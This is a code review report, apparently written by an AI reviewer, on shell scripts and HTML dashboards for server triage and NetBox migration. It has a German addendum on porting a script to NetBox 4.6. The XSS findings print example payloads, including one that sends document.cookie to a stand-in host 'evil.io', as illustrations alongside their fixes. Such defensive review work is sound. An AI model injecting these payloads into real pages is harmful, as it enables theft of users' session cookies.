phase: code-review
reviewed: 2026-06-26T12:00:00Z
depth: standard
files_reviewed: 12
files_reviewed_list:
- ninja.sh
- ninja-pentest_v2.sh
- netbox.sh
- netbox_internet.sh
- inventar.sh
- netbox/crumb-001-seed/commit.sh
- netbox/crumb-001-seed/internet.commit.sh
- netbox/testhost/internet.commit.sh
- netbox/testnb/commit.sh
- index.html
- ninja-dashboard.html
- panda_guertel.html
findings:
critical: 3
warning: 4
info: 4
total: 11
addendum:
file: ip_netbox.sh
topic: netbox-4.6-portierung
fixed: 5
status: issues_found

Code Review Report — Ninja-Shield-v1

Reviewed: 2026-06-26
Depth: standard
Files Reviewed: 12
Status: issues_found

Summary

The codebase is a well-structured collection of shell scripts for RZ triage/inventory and companion HTML dashboards. The shell scripts (ninja.sh, netbox.sh, netbox_internet.sh, inventar.sh) show strong security awareness — validated inputs via whitelists, jq for safe JSON, clean() to strip ANSI injections, set -u, dry-run defaults, and no eval. These are genuinely good practices.

The main risks live in the HTML/JavaScript layer. Two files use innerHTML to render user-controlled or markdown-sourced text without full sanitization, creating DOM-based XSS vectors. One generated shell script contains invalid JSON (000) that silently breaks a key pipeline step.

Critical Issues

CR-01: DOM XSS — User terminal input injected via `innerHTML`

File: ninja-dashboard.html:1511, 1531, 1580
Issue: When a user types a command into the terminal input or clicks a Quick Command button, the raw command string is interpolated into an HTML template and set via div.innerHTML inside appendTerminalText(). The ANSI-to-HTML replacement at line 1481–1491 does not strip HTML tags from user input. An attacker who can control what is typed (or who crafts a link that calls runTerminalCmd() with injected content) can execute arbitrary JavaScript.

Example payload: typing <img src=x onerror="fetch('https://evil.io?c='+document.cookie)"> as a command injects that tag directly into the DOM.

Affected call sites:

// Line 1511 — handleTerminalInput
appendTerminalText(`\n<span ...>visitor@crumbforest-dojo:~$</span> ${cmd}`);

// Line 1531 — runTerminalCmd (also called by Quick Command buttons)
appendTerminalText(`\n<span ...>visitor@crumbforest-dojo:~$</span> ${cmd}`);

// Line 1580 — executeCommand (unknown-command branch)
appendTerminalText(`bash: ${cmd}: command not found. ...`);

Fix: Escape user input before inserting into HTML. Add a helper and use it at every call site where cmd is interpolated:

function escapeHtml(str) {
    return str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;')
              .replace(/"/g,'&quot;').replace(/'/g,'&#039;');
}

// In handleTerminalInput and runTerminalCmd:
appendTerminalText(`\n<span class="text-gray-500">visitor@crumbforest-dojo:~$</span> ${escapeHtml(cmd)}`);

// In the unknown-command branch:
appendTerminalText(`bash: ${escapeHtml(cmd)}: command not found. ...`);

CR-02: XSS in Markdown Renderer — Unescaped inline code and `javascript:` URLs

File: index.html:916, 922-927
Issue: The inlineFormatting() function processes markdown text from fetched .md files and injects the output into bodyEl.innerHTML. Two sub-issues:

Inline code injection (line 916): The content between backticks is inserted raw into a <code> tag without HTML escaping. A markdown file containing `<script>alert(1)</script>` will execute that script.
javascript: URL in links (line 922–927): The link replacement only checks if the URL ends in .md before deciding the target attribute; it never validates the URL scheme. A markdown file containing [Click me](javascript:alert(document.cookie)) produces a clickable XSS link.

// Line 916 — no escaping of $1:
text = text.replace(/`([^`]+)`/g, '<code class="md-code">$1</code>');

// Line 922–927 — no scheme check:
text = text.replace(/\[([^\]]+)\]\(([^)]+)\)/g, (match, linkText, url) => {
    if (url.endsWith('.md')) {
        return `<a href="#${url}" class="md-link">${linkText}</a>`;
    }
    return `<a href="${url}" target="_blank" class="md-link">${linkText}</a>`;
});

Fix:

// Escape inline code content:
text = text.replace(/`([^`]+)`/g, (_, code) =>
    `<code class="md-code">${escapeHtml(code)}</code>`);

// Validate URL scheme in links:
text = text.replace(/\[([^\]]+)\]\(([^)]+)\)/g, (match, linkText, url) => {
    const safeLinkText = escapeHtml(linkText);
    const isAllowedScheme = /^(https?:\/\/|\/|\.\/|#)/.test(url);
    if (!isAllowedScheme) return safeLinkText; // strip unsafe links
    if (url.endsWith('.md')) {
        return `<a href="#${url}" class="md-link">${safeLinkText}</a>`;
    }
    return `<a href="${escapeHtml(url)}" target="_blank" rel="noopener noreferrer" class="md-link">${safeLinkText}</a>`;
});

CR-03: Invalid JSON `000` silently breaks `jq` in generated commit script

File: netbox/crumb-001-seed/internet.commit.sh:7
Issue: The generated script uses --argjson dev 000 when calling jq. In JSON, leading zeros in integers are not permitted (the JSON spec only allows 0 as a standalone zero, never 000, 001, etc.). jq rejects 000 with a parse error, causing IFID to be empty, silently skipping the MAC and IP assignment steps for wlp1s0. The commit.sh appears to have been generated by netbox_internet.sh with DEV_ID=000 (the offline-dry-run placeholder), but the placeholder 0 hardcoded in netbox_internet.sh:132 is valid JSON — 000 appears to be a manual or corrupted value.

# Line 7 — 000 is invalid JSON:
IFID=$(curl ... --data "$(jq -nc --argjson dev 000 ...)" | jq -r '.id // empty')

Fix: Change 000 to 0 (the valid offline placeholder) in the generated file, and verify netbox_internet.sh:132 outputs 0 (not 000) by checking DEV_ID assignment during dry-run generation:

# netbox_internet.sh line 132 — confirm this reads:
DEV_ID="0"; echo "Kein NETBOX_URL/TOKEN -> Offline-Dry-run, Objekt-ID=0 (Platzhalter)"

Then regenerate the commit script; the resulting --argjson dev 0 will be valid.

Warnings

WR-01: Unescaped server-controlled SSH banner written to terminal

File: ninja-pentest_v2.sh:271-274
Issue: The SSH banner from a remote host is captured and passed directly to clog() which calls echo to both stdout and the log file. Unlike ninja.sh (which has clean() to strip control characters), ninja-pentest_v2.sh has no sanitization on the received banner. A malicious SSH server can inject ANSI escape codes that manipulate the operator's terminal (cursor repositioning, color reset, even OSC sequences that write to clipboard on some terminals).

# Line 271-274:
banner=$(run_with_timeout 5 bash -c "exec 3<>/dev/tcp/${target_q}/22 2>/dev/null; head -1 <&3" 2>/dev/null || true)
if [[ -n "$banner" ]]; then
    clog "OK" "  ✅ SSH: $banner"   # $banner is raw server data

Fix: Pipe the banner through tr -d '\000-\010\013\014\016-\037' before printing (mirrors ninja.sh's clean() function):

have() { command -v "$1" >/dev/null 2>&1; }
clean() { tr -d '\000-\010\013\014\016-\037'; }

banner=$(run_with_timeout 5 bash -c "exec 3<>/dev/tcp/${target_q}/22 2>/dev/null; head -1 <&3" 2>/dev/null | clean || true)

WR-02: `ls` used in for-loop — fragile interface enumeration

File: inventar.sh:224
Issue: for ifc in $(ls /sys/class/net 2>/dev/null) parses ls output in a for loop. Word splitting on whitespace means interface names with spaces (unusual but not impossible) would break. More importantly, ls is not the idiomatic tool for iterating directory entries — it loses quoting context.

# Line 224:
for ifc in $(ls /sys/class/net 2>/dev/null); do

Fix: Use glob expansion directly:

for ifc in /sys/class/net/*/; do
    ifc="${ifc%/}"; ifc="${ifc##*/}"   # basename without trailing slash
    [ -e "/sys/class/net/$ifc/device" ] || continue

WR-03: Unquoted command substitution in for-loop (disk iteration)

File: inventar.sh:178
Issue: for d in $(lsblk -dno NAME,TYPE ...) uses unquoted command substitution. While block device names rarely contain spaces, word splitting will also expand glob characters if any appear in the output. Combined with the set -u flag (no set -e), a single oddly-named device could cause silent mis-iteration.

# Line 178:
for d in $(lsblk -dno NAME,TYPE 2>/dev/null | awk '$2=="disk"{print $1}'); do
    info="$(smartctl -i "/dev/$d" 2>&1)"

Fix: Use mapfile (bash 4+) or a while-read loop:

while IFS= read -r d; do
    [ -z "$d" ] && continue
    info="$(smartctl -i "/dev/$d" 2>&1)"
    ...
done < <(lsblk -dno NAME,TYPE 2>/dev/null | awk '$2=="disk"{print $1}')

WR-04: Tailwind CDN script loaded from local path with opaque filename — no integrity check

File: ninja-dashboard.html:9-10, panda_guertel.html:7
Issue: Both files load Tailwind CSS from a local file panda_guertel_files/3.4_3WVS.17 with an onerror fallback to the remote CDN (https://cdn.tailwindcss.com). Neither source uses a <script integrity="sha384-..."> Subresource Integrity (SRI) attribute. If the local file or the CDN is compromised/replaced, arbitrary JavaScript can run in the context of the dashboard. Given that the dashboard is presented to operators making security decisions (blocking IPs), this is a meaningful supply-chain risk.

Fix: Generate and pin an SRI hash for the local copy, and add the integrity attribute:

<script src="panda_guertel_files/3.4_3WVS.17"
    integrity="sha384-<BASE64_HASH>"
    crossorigin="anonymous"
    onerror="..."></script>

Also add rel="noopener" / crossorigin on the CDN fallback or eliminate the CDN fallback entirely for an air-gapped/offline tool.

Info

IN-01: `clean()` strips most control chars but misses DEL (0x7F) and high bytes

File: ninja.sh:167
Issue: clean() { tr -d '\000-\010\013\014\016-\037'; } covers NUL–BS, VT–CR, and SO–US (classic C0 range with LF/tab/CR exceptions). It does not strip DEL (\177/0x7F) or GR control characters (0x80–0x9F, which carry real ANSI extension sequences on some terminals). Low practical risk but incomplete coverage.

Fix:

clean() { tr -d '\000-\010\013\014\016-\037\177'; }

IN-02: Hardcoded real infrastructure IPs and hostnames in pentest script

File: ninja-pentest_v2.sh:62-119
Issue: Production IP addresses (87.106.12.97, 194.164.194.191) and hostnames (subdomains of crumbforest.io/.org) are embedded directly in the script source. If this repository is ever made public or shared, this constitutes infrastructure enumeration disclosure.

Fix: Move host profiles to an external config file (ninja-pentest.conf) sourced at startup, excluded from version control via .gitignore. The script's --add and --list patterns already support dynamic profiles.

IN-03: Log file written to current working directory with no rotation or permissions check

File: ninja-pentest_v2.sh:34
Issue: LOGFILE="ninja-pentest.log" writes to the current directory. On a multi-user system, the log could be world-readable if the umask is permissive. The log captures banners, IPs, versions, and timestamps of scanned infrastructure.

Fix:

LOGFILE="${LOGDIR:-$HOME/.local/share/ninja-pentest}/ninja-pentest.log"
mkdir -p "$(dirname "$LOGFILE")" && chmod 700 "$(dirname "$LOGFILE")"

IN-04: Commented-out / debug code and TODO artifacts

File: ninja-pentest_v2.sh:26
Issue: # NO set -e! Closed ports are information, not errors! — this is an intentional design decision, but is only documented as a comment and not in the script's usage help. Operators using the script in pipelines (cmd && next-step) may not realize the script always exits 0.

Fix: Add an explicit note to the banner or --help output: "Exit code is always 0 — closed ports are not errors. Check LOGFILE for results."

Reviewed: 2026-06-26
Reviewer: gsd-code-reviewer (claude-sonnet-4-6)
Depth: standard

Nachtrag — `ip_netbox.sh` NetBox-4.6-Portierung (2026-06-26)

Kollegen-Skript (ip_netbox.sh, Einmal-Migration, Self-Push pro Host) auf
NetBox 4.6 gebracht. Original stammte aus der Pre-4.2-Ära und hatte mehrere
Defekte, die in 4.6 still zu Datenverlust geführt hätten.

NB-01 (Critical) — MAC-Modell: Pre-4.2 vs. 4.6

Vorher: mac_address direkt ins Interface-Payload geschrieben.

jq -n ... '{ name: $name, mac_address: $mac, type: $type } + {($p): $pid}'

In NetBox 4.2+ ist mac_address kein beschreibbares Interface-Feld mehr.
MAC ist ein eigenes Objekt. 4.6 ignoriert das Feld still → Interfaces ohne MAC.
Gleiche Fehlerklasse wie die vm1.-Hostnamen bei der Icinga/JSON-Migration:
altes Tool trifft neues Schema, kein Fehler, nur falsche Daten.

Nachher: zweistufig (assign_mac()):

# 1. MAC-Objekt anlegen/finden
POST /api/dcim/mac-addresses/
     {mac_address, assigned_object_type: "dcim.interface"|"virtualization.vminterface",
      assigned_object_id: <if_id>}
# 2. Interface auf die MAC-ID patchen
PATCH /api/dcim/(...)interfaces/<if_id>/  {primary_mac_address: <mac_id>}

NB-02 (Critical) — `primary_ip4` wurde nie gesetzt (Subshell + Bash-4)

Vorher: declare -A IP_MAP (Bash 4 — Zielshells haben oft nur Bash 3) und
befüllt in ip -o -4 addr show | while read …. Die Pipe erzeugt eine
Subshell, alle Array-Zuweisungen sind im Parent weg. set_primary_ip fand
die IP nie → primary_ip4 blieb leer.

Nachher: Process-Substitution done < <(ip -o -4 addr show) (Schleife läuft
im aktuellen Shell) + eine einfache PRIMARY_IP_ID-Variable statt Array.
Bash-3-tauglich.

NB-03 (Warning) — VM-Interface-Lookup matchte fremde VMs

Vorher: IP-Zuweisung suchte erst per device_id=$ID (bei VM ist $ID eine
VM-ID → leer), dann Fallback auf virtualization-Interface nur nach Name, ohne
VM-Filter → eth0 einer beliebigen anderen VM konnte gematcht werden.

Nachher: sauber nach $TYPE getrennt; VM-Pfad filtert
virtual_machine_id=$ID. Zusätzlich: VM-Interfaces ohne type-Feld (kennt das
vminterface-Modell nicht).

NB-04 (Critical) — Live-Token im Klartext

Vorher: echter API-Token + URL hartkodiert in Zeile 4–5.

Nachher: NETBOX_URL/NETBOX_TOKEN aus Umgebung, Abbruch wenn Token fehlt.
Token muss in Gitea rotiert werden (war im Working Tree, nicht committed).

NB-05 (Warning) — `set -e` killt Migration pro Host

Vorher: set -euo pipefail → ein einzelner curl-Nonzero bricht den ganzen
Lauf mitten im Host ab.

Nachher: set -uo pipefail (kein -e); zusätzlich Abbruch-Guards nach
Device-Create, damit fehlende $ID nicht in kaputte Folge-POSTs läuft.

Offen / bewusst nicht gemacht

OOB/IPMI wird weiterhin nur angezeigt, nicht gepusht (eigene
OOB-Interface+IP-Logik → out of scope für die Einmal-Migration).
Disk-Helper (get_disk_info/get_serial/get_wear/get_nvme_wear)
bleiben als reservierte, nicht aufgerufene Funktionen erhalten.
Blade-Trennung fehlt weiterhin: systemd-detect-virt kennt nur vm vs.
device, kein Device-Bay/Parent-Konzept. Gehört in den Ansible-Weg, nicht in
dieses Wegwerf-Tool.

bash -n sauber.

Nachtrag: 2026-06-26 — ip_netbox.sh auf NetBox 4.6 portiert

Code Review Report — Ninja-Shield-v1

Summary

Critical Issues

CR-01: DOM XSS — User terminal input injected via innerHTML

CR-02: XSS in Markdown Renderer — Unescaped inline code and javascript: URLs

CR-03: Invalid JSON 000 silently breaks jq in generated commit script

Warnings

WR-01: Unescaped server-controlled SSH banner written to terminal

WR-02: ls used in for-loop — fragile interface enumeration

WR-03: Unquoted command substitution in for-loop (disk iteration)

WR-04: Tailwind CDN script loaded from local path with opaque filename — no integrity check

Info

IN-01: clean() strips most control chars but misses DEL (0x7F) and high bytes

IN-02: Hardcoded real infrastructure IPs and hostnames in pentest script

IN-03: Log file written to current working directory with no rotation or permissions check

IN-04: Commented-out / debug code and TODO artifacts

Nachtrag — ip_netbox.sh NetBox-4.6-Portierung (2026-06-26)

NB-01 (Critical) — MAC-Modell: Pre-4.2 vs. 4.6

NB-02 (Critical) — primary_ip4 wurde nie gesetzt (Subshell + Bash-4)

NB-03 (Warning) — VM-Interface-Lookup matchte fremde VMs

NB-04 (Critical) — Live-Token im Klartext

NB-05 (Warning) — set -e killt Migration pro Host

Offen / bewusst nicht gemacht

CR-01: DOM XSS — User terminal input injected via `innerHTML`

CR-02: XSS in Markdown Renderer — Unescaped inline code and `javascript:` URLs

CR-03: Invalid JSON `000` silently breaks `jq` in generated commit script

WR-02: `ls` used in for-loop — fragile interface enumeration

IN-01: `clean()` strips most control chars but misses DEL (0x7F) and high bytes

Nachtrag — `ip_netbox.sh` NetBox-4.6-Portierung (2026-06-26)

NB-02 (Critical) — `primary_ip4` wurde nie gesetzt (Subshell + Bash-4)

NB-05 (Warning) — `set -e` killt Migration pro Host